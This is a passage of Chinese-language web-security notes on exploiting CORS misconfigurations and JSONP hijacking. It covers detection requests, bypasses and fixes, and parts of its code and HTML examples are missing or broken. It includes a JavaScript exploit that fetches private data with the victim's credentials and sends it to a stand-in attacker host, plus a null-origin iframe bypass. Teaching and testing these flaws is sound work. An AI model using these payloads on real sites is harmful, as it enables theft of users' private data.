GET /resources/public-data/ HTTP/1.1 180 | Host: bar.other 181 | User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre 182 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 183 | Accept-Language: en-us,en;q=0.5 184 | Accept-Encoding: gzip,deflate 185 | Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 186 | Connection: keep-alive 187 | Referer: http://foo.example/examples/access-control/simpleXSInvocation.html 188 | Origin: http://foo.example 189 | ``` 190 | Response 191 | ``` 192 | HTTP/1.1 200 OK 193 | Date: Mon, 01 Dec 2008 00:23:53 GMT 194 | Server: Apache/2.0.61 195 | Access-Control-Allow-Origin: * 196 | Keep-Alive: timeout=2, max=100 197 | Connection: Keep-Alive 198 | Transfer-Encoding: chunked 199 | Content-Type: application/xml 200 | 201 | [XML Data] 202 | ``` 203 | 使用 Origin 和 Access-Control-Allow-Origin 就能完成最简单的访问控制. 204 | 205 | 默认情况下,如果没有设置“Access-Control-Allow-Credentials”这个头的话,浏览器发送的请求就不会带有用户的身份数据(cookie或者HTTP身份数据),所以就不会泄露用户隐私信息。 206 | CORS保护的例子 207 | ![9a8a99144c3b3b73adff885de3b03466.png](https://raw.githubusercontent.com/ReAbout/web-exp/master/images/cd4.png) 208 | ### 漏洞发现 209 | 通过发送请求,判断回报是否允许 210 | ``` 211 | GET /handler_to_test HTTP/1.1 212 | Host: target.domain 213 | Origin: https://attaker.domain 214 | Connection: close 215 | ``` 216 | 217 | ``` 218 | HTTP/1.1 200 OK 219 | … 220 | Access-control-allow-credentials: true 221 | Access-control-allow-origin: https://attacker.domain 222 | … 223 | ``` 224 | 225 | ### 漏洞利用 226 | 227 | ####  有用户凭据的利用 228 | 可利用的条件: 229 | Access-Control-Allow-Credentials:True 230 | Access-Control-Allow-Origin:Null 或者https://attacker.domain 231 | 232 | 在这次测试示例中,服务器返回的报文头部中已经表明完全信任“attacker. domain”这个域,并且可以向这个域中发送用户凭据。 233 | 利用脚本: 234 | ``` 235 | var req = new XMLHttpRequest(); 236 | req.onload = reqListener; 237 | req.open(“get”,”https://vulnerable.domain/api/private-data”,true); 238 | req.withCredentials = true; 239 | req.send(); 240 | function reqListener() { 241 | location=”https//attacker.domain/log?response=”+this.responseText; 242 | }; 243 | ``` 244 | #### 没有用户凭据的利用方式 245 | 可利用的条件: 246 | Access-Control-Allow-Origin的值,https://attacker.com,* ,null 247 | 可达到的效果: 248 | ##### 绕过基于ip的身份验证 249 | 250 | 如果目标从受害者的网络中可以到达,但使用ip地址作为身份验证的方式。这种情况通常发生在缺乏严格控制的内网中。在这种场景下,黑客会利用受害者的浏览器作为代理去访问那些应用并且可以绕过那些基于ip的身份验证。就影响而言,这个类似于DNS重绑定,但会更容易利用。 251 | ##### 客户端缓存中毒 252 | 253 | 这种配置允许攻击者利用其他的漏洞。 254 | 比如,一个应用返回数据报文头部中包含“X-User”这个字段,这个字段的值没有经过验证就直接输出到返回页面上。请求: 255 | ``` 256 | GET /login HTTP/1.1 257 | Host: www.target.local 258 | Origin: https://attacker.domain/ 259 | X-User: 260 | ``` 261 | 返回报文(注意:“Access-Control-Allow-Origin”已经被设置,但是“Access-Control-Allow-Credentials: true”并且“Vary: Origin”头没有被设置) 262 | ``` 263 | HTTP/1.1 200 OK 264 | Access-Control-Allow-Origin: https://attacker.domain/ 265 | … 266 | Content-Type: text/html 267 | … 268 | Invalid user: '); 276 | req.send(); 277 | function reqListener() { 278 | location='http://www.target.local/login'; 279 | } 280 | ``` 281 | 如果在返回报文中头部没有设置“Vary: Origin”,那么可以利用上面展示的例子,可以让受害者浏览器中的缓存中存储返回数据报文(这要基于浏览器的行为)并且当浏览器访问到相关URL的时候就会直接显示出来。(通过重定向来实现,可以用“reqListener()”这个方法) 282 | ##### 服务器端缓存中毒??? 283 | 284 | ### Bypass 285 | 286 | #### NULL源 287 | 288 | CORS的规范中还提到了“NULL”源。触发这个源是为了网页跳转或者是来自本地HTML文件。目标应用可能会接收“null"源,并且这个可能被测试者(或者攻击者)利用,意外任何网站很容易使用沙盒iframe来获取”null“源 289 | 290 | ``` 291 | 333 | 334 | JSONP 实例 335 | 336 | 337 |
338 | 350 | 351 | 352 | 353 | ``` 354 | 355 | 356 | Ref[]:[JSONP跨域详解](https://www.jianshu.com/p/e1e2920dac95) 357 | 358 | ### JSONP劫持 359 | JSONP原理就是绕过同源策略实现相应功能,这也必然会出现安全问题。 360 | Eg. A网站存在jsonp调用的代码,B网站已登录,若B网站信任A网站(或验证条件不严格)通过jsonp可以获取B网站的登录凭证。 361 | 362 | 漏洞挖掘方法: 363 | 关键词:callback json jsonp 364 | 365 | 366 | #### 修复方案 367 | 1、严格安全的实现 CSRF 方式调用 JSON 文件:限制 Referer 、部署一次性 Token 等。 368 | 2、严格执行JSON 格式标准输出 Content-Type 及编码( Content-Type : application/json; charset=utf-8 )。 369 | 3、严格过滤 callback 函数名及 JSON 里数据的输出。 370 | 4、严格限制对 JSONP 输出 callback 函数名的长度(如防御上面 flash 输出的方法)。 371 | 5、其他一些比较“猥琐”的方法:如在 Callback 输出之前加入其他字符(如:`/**/`、回车换行)这样不影响 JSON 文件加载,又能一定程度预防其他文件格式的输出。还比如 Gmail 早起使用 AJAX 的方式获取 JSON ,听过在输出 JSON 之前加入 while(1) ;这样的代码来防止 JS 远程调用。 372 | 373 | #### Bypass方法 374 | 1. Referer限制不严格,比如baidu.com的域名限制,购买个baidu.com.reabout.com域名。 375 | 空 Referer 的绕过法,比如当浏览器直接访问某地址的时候,是不带 Referer 的,是为空的,比如